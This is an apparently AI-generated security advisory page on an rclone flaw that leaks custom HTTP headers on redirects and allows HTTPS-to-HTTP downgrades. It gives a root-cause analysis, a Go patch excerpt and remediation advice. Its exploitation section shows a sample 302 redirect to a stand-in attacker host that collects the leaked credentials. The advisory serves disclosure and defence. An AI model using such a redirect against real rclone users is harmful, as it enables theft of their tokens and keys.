CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-88013

CVE-2026-88013: Sensitive Header Leakage via Unvalidated HTTP Redirects in rclone

Amit Schendel
Amit Schendel
Senior Security Researcher

Sep 11, 2026·7 min read·4 visits

Executive Summary (TL;DR)

rclone leaks user-configured custom HTTP headers to external untrusted hosts during redirects and allows scheme downgrades to plaintext HTTP.

rclone versions from 1.49.0 up to 1.75.1 are vulnerable to information disclosure and credential leakage. When configuring custom headers on HTTP connections, rclone fails to strip those headers when following HTTP redirects to external untrusted domains. Additionally, rclone does not prevent scheme downgrades from HTTPS to HTTP on same-host redirects, allowing sensitive standard credentials to be transmitted in cleartext.

Vulnerability Overview

CVE-2026-88013 identifies an information disclosure vulnerability in the HTTP storage backend and global HTTP transport layers of rclone, a widely used command-line utility for managing and synchronizing files across diverse cloud storage backends. The vulnerability exposes sensitive authentication credentials, API keys, and session cookies configured by users when interacting with remote storage hosts. The flaw affects rclone versions starting from 1.49.0 up to 1.75.1.

Under default operations, rclone allows users to pass custom HTTP headers to authenticate with private backends using options such as --http-headers, --header, or --header-download. These options append authorization metadata to outbound client requests. When a remote server redirects an incoming connection to an external, untrusted domain, rclone automatically follows the HTTP redirect without evaluating whether the target host matches the original host. Consequently, the user-defined custom headers are forwarded to the untrusted endpoint.

The attack surface exists primarily in configurations utilizing rclone's HTTP backend for synchronization, listing, or mounting tasks. Because Go's standard library does not automatically strip custom headers on cross-origin redirects, and does not block scheme downgrades from HTTPS to HTTP on same-host targets, attackers in control of a target backend or acting as path interceptors can extract secrets in cleartext.

Root Cause Analysis

The root cause of CVE-2026-88013 stems from rclone's reliance on the default redirection logic of the Go standard library's net/http client. In Go, if an http.Client is initialized without a custom CheckRedirect policy function, the client defaults to following up to ten consecutive HTTP redirects. While this default behavior is convenient for standard web browsing, it introduces severe security weaknesses when handling application-specific authentication headers.

Specifically, the Go standard library's default redirect policy is programmed to strip only a small, hardcoded set of standard authorization headers—Authorization, Www-Authenticate, Cookie, and Cookie2—when crossing host boundaries. However, the client has no context regarding custom, user-defined headers, such as API tokens, custom bearer headers, or custom authorization tokens (e.g., X-Api-Key or X-Auth-Token). Because these headers are injected manually into the initial request, Go's default transport mechanism copies them unmodified into all subsequent redirected requests.

Additionally, the default redirection behavior does not restrict protocol transitions from HTTPS to HTTP when the destination host name is identical. If an HTTPS server issues a redirect to an unencrypted http:// URL on the same domain, Go's standard client copies even the standard Authorization or Cookie headers over the unencrypted network. This behavior directly facilitates protocol downgrade attacks, resulting in cleartext credential leakage over the wire.

Code Analysis

The vulnerability was fixed across three core commits in rclone's source code, targeting the redirect policy validation, the backend HTTP client configurations, and the global transport layers. In the initial vulnerable code path, the client creation logic in backend/http/http.go invoked fshttp.NewClient(ctx) but did not register a custom CheckRedirect callback on the resulting struct. The custom headers added via addHeaders remained active across all subsequent hops.

To resolve this, the patch introduced a custom redirection policy validator, checkRedirect(opt), which wraps the underlying HTTP client. This validator monitors host changes using a newly implemented utility function redirectLeavesHost(req, via). If the target address departs from the original host origin, the client loops through the list of user-configured headers and explicitly deletes them from the pending request context. This ensures that custom tokens are never sent to external servers.

// checkRedirect returns an http.Client.CheckRedirect function which
// follows redirects but refuses an HTTPS to HTTP downgrade with
// rest.ErrHTTPSDowngrade and strips the configured headers when the
// redirect chain has left the originally requested host at any point.
func checkRedirect(opt *Options) func(req *http.Request, via []*http.Request) error {
	return func(req *http.Request, via []*http.Request) error {
		if err := rest.RefuseHTTPSDowngradeRedirectFn(req, via); err != nil {
			if errors.Is(err, rest.ErrHTTPSDowngrade) {
				err = fmt.Errorf("%w (the configured headers would be sent to the plaintext target)", err)
			}
			return err
		}
		if redirectLeavesHost(req, via) {
			for i := 0; i < len(opt.Headers); i += 2 {
				req.Header.Del(opt.Headers[i])
			}
		}
		return nil
	}
}

Furthermore, the patch resolves same-host protocol downgrades by modifying isHTTPSDowngrade in lib/rest/rest.go. The updated logic checks the scheme of the target request against the first request in the redirect chain (via[0]) rather than merely the immediate preceding hop. This prevents an attacker from bypassing the restriction via multiple redirect hops. Additionally, the SameHost helper was introduced to compare hostnames case-insensitively and normalize default ports so that redirects to explicit port numbers do not inadvertently leak credentials.

Exploitation Methodology

Exploitation of CVE-2026-88013 requires an attacker to satisfy one of two primary network conditions. The first scenario involves an attacker who controls an HTTP remote server that a victim has configured in rclone. The second scenario requires an active network interceptor capable of performing an Adversary-in-the-Middle (AiTM) attack on an unencrypted HTTP connection or a compromised HTTPS connection.

In a cross-host redirection scenario, a user configures an rclone target pointing to a seemingly trusted remote host, appending custom headers containing secrets. When rclone initiates a connection, the attacker-controlled server issues an HTTP redirect code directing rclone to an external collection endpoint:

HTTP/1.1 302 Found
Location: https://attacker-controlled-server.com/collect

Because the vulnerable rclone client follows this redirect unconditionally without clearing the request header map, it sends the subsequent request to the attacker's server while maintaining the user-supplied custom headers. The attacker-controlled server logs the incoming request, capturing the secret values directly from the HTTP headers without needing to bypass encryption or execute local shell exploits.

Impact Assessment

The security impact of CVE-2026-88013 is primarily categorized under information disclosure and credential theft, carrying a CVSS v3.1 base score of 3.7. The low severity rating reflects the high attack complexity required for successful exploitation, as an attacker must either compromise an existing rclone backend host or execute a successful active network interception campaign.

However, despite the low CVSS score, the operational impact in corporate environments can be significant. If rclone is integrated into automated backup, synchronization, or deployment pipelines, leaked headers could include highly sensitive API keys, session cookies, or OAuth bearer tokens. Access to these tokens could grant attackers persistent administrative privileges on third-party cloud storage providers like AWS S3, Google Drive, or Microsoft Azure.

Additionally, the protocol downgrade vector represents a threat to network environments lacking strict transport security controls. Because the client silently downgrades HTTPS connections to unencrypted HTTP when redirected to the same hostname, attackers sniffing network traffic can intercept authentication tokens in plaintext. This vulnerability is not listed in CISA's Known Exploited Vulnerabilities catalog, and there are currently no known public exploits or ransomware campaigns utilizing this flaw.

Remediation and Mitigation

The primary remediation path for CVE-2026-88013 is updating rclone to version 1.75.1 or later. The update introduces the necessary architectural modifications to the HTTP transport layers to enforce strict host checks and block scheme downgrades. This ensures that standard and custom headers are securely cleared whenever a transaction leaves its original origin.

If immediate software patching is not feasible, organizations should implement the following defensive workarounds:

  • Restrict Custom Headers: Audit and remove any use of sensitive credentials within --http-headers, --header, or --header-download configurations when connecting to public mirrors or unvetted HTTP storage servers.
  • Enforce HTTPS-Only: Ensure all configured rclone remote URLs are explicitly defined using the https:// scheme, and avoid configuring remotes that utilize HTTP redirects for storage distribution.
  • Implement Network Filtering: Deploy egress filtering to block rclone traffic from reaching unauthorized external hosts, reducing the risk of a successful redirection to an untrusted capture server.

Developers using rclone as a library must ensure that any custom instances of http.Client explicitly define a robust CheckRedirect policy that mirrors the host checking and scheme downgrade validation logic added in version 1.75.1.

Fix Analysis (3)

Technical Appendix

CVSS Score
3.7/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Affected Systems

rclone

Affected Versions Detail

Product
Affected Versions
Fixed Version
rclone
rclone
>= 1.49.0, < 1.75.11.75.1
AttributeDetail
CWE IDCWE-200, CWE-319, CWE-522
Attack VectorNetwork (AV:N)
CVSS v3.1 Score3.7 (Low)
EPSS Score0.00043 (extremely low probability)
Exploit StatusNone (no public PoCs or active exploits)
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1552Unsecured Credentials
Credential Access
T1040Network Sniffing
Credential Access
T1557Adversary-in-the-Middle
Credential Access
CWE-200
Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not authorized to have access to that information.

References & Sources

  • [1]GHSA-486v-q2wf-fp2r: Sensitive header leakage on redirect
  • [2]rclone commit 22859b7
  • [3]rclone commit 79fbc08
  • [4]rclone commit 925fb4f
  • [5]rclone v1.75.1 Release Note

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•43 minutes ago•CVE-2026-88017
7.3

CVE-2026-88017: Cross-Session Authentication-Proxy Backend Confusion in rclone FTP Server

The FTP server implementation of rclone is vulnerable to a cross-session identity and credential confusion flaw when configured with an authentication proxy. Under specific multi-tenant configurations where multiple distinct sessions authenticate with the same username, a global map caches credentials globally instead of isolating them inside the session context. This allows a concurrent attacker to hijack the active session backend of a victim using the same username.

Alon Barad
Alon Barad
0 views•7 min read
•about 2 hours ago•CVE-2026-88044
9.1

CVE-2026-88044: Authentication Bypass in rclone Dynamic Server Execution via Remote Control API

An authentication bypass vulnerability exists in rclone when dynamically starting FTP, S3, or SFTP servers via the Remote Control (RC) 'serve/start' API. The server constructors incorrectly check the global process configuration rather than request-scoped options, resulting in a silent bypass of the authentication proxy and enabling unauthenticated access.

Alon Barad
Alon Barad
2 views•6 min read
•about 3 hours ago•CVE-2026-88018
9.8

CVE-2026-88018: Authentication Bypass in rclone S3 Server Component via Empty HMAC Secret

Prior to version 1.75.1, rclone's S3 server component ('rclone serve s3') contains an authentication bypass vulnerability when configured with '--auth-proxy' but without '--auth-key'. The application validates AWS Signature Version 4 (SigV4) against an empty secret key string, enabling unauthenticated remote attackers to access storage backends.

Alon Barad
Alon Barad
6 views•6 min read
•about 4 hours ago•CVE-2026-88015
5.3

CVE-2026-88015: Request-Level Denial of Service via Go Slice Bounds Panic in rclone Local Backend

A request-level denial of service vulnerability exists in rclone versions prior to 1.75.1 when configured with local symlink virtualization (--links) and serving files over HTTP or WebDAV. An unauthenticated remote attacker can trigger a Go runtime slice bounds panic by sending a crafted HTTP Range request with an offset exceeding the path length of the target symlink.

Alon Barad
Alon Barad
5 views•6 min read
•about 6 hours ago•CVE-2026-88014
6.3

CVE-2026-88014: Path Traversal (Zip Slip) and Directory Boundary Bypass in rclone ZIP Backend

A critical path traversal vulnerability (commonly known as 'Zip Slip') exists in rclone's ZIP archive backend implementation (backend/archive/zip/zip.go) between versions 1.72.0 and 1.75.1. The flaw allows an attacker to write arbitrary files outside the designated extraction directory by supplying a maliciously crafted ZIP archive. Additionally, the backend's directory boundary verification routine failed to enforce strict path limits, causing sibling folders sharing a name prefix to match incorrectly and leading to unauthorized data exposure. This issue has been fully resolved in version 1.75.1.

Alon Barad
Alon Barad
6 views•5 min read
•about 7 hours ago•CVE-2026-88009
8.8

CVE-2026-88009: HTTP Request Smuggling and Authorization Bypass via Opaque Target Processing in Traefik

An architectural parser-differential vulnerability in Traefik's routing engine allows unauthenticated attackers to bypass path-based routing rules, authentication middleware, and access logs. The issue stems from inconsistencies in handling rootless/opaque request targets between Go's standard net/http parser and Traefik's internal routing and sanitization layers. This vulnerability compromises the authorization boundary of upstream microservices.

Alon Barad
Alon Barad
5 views•7 min read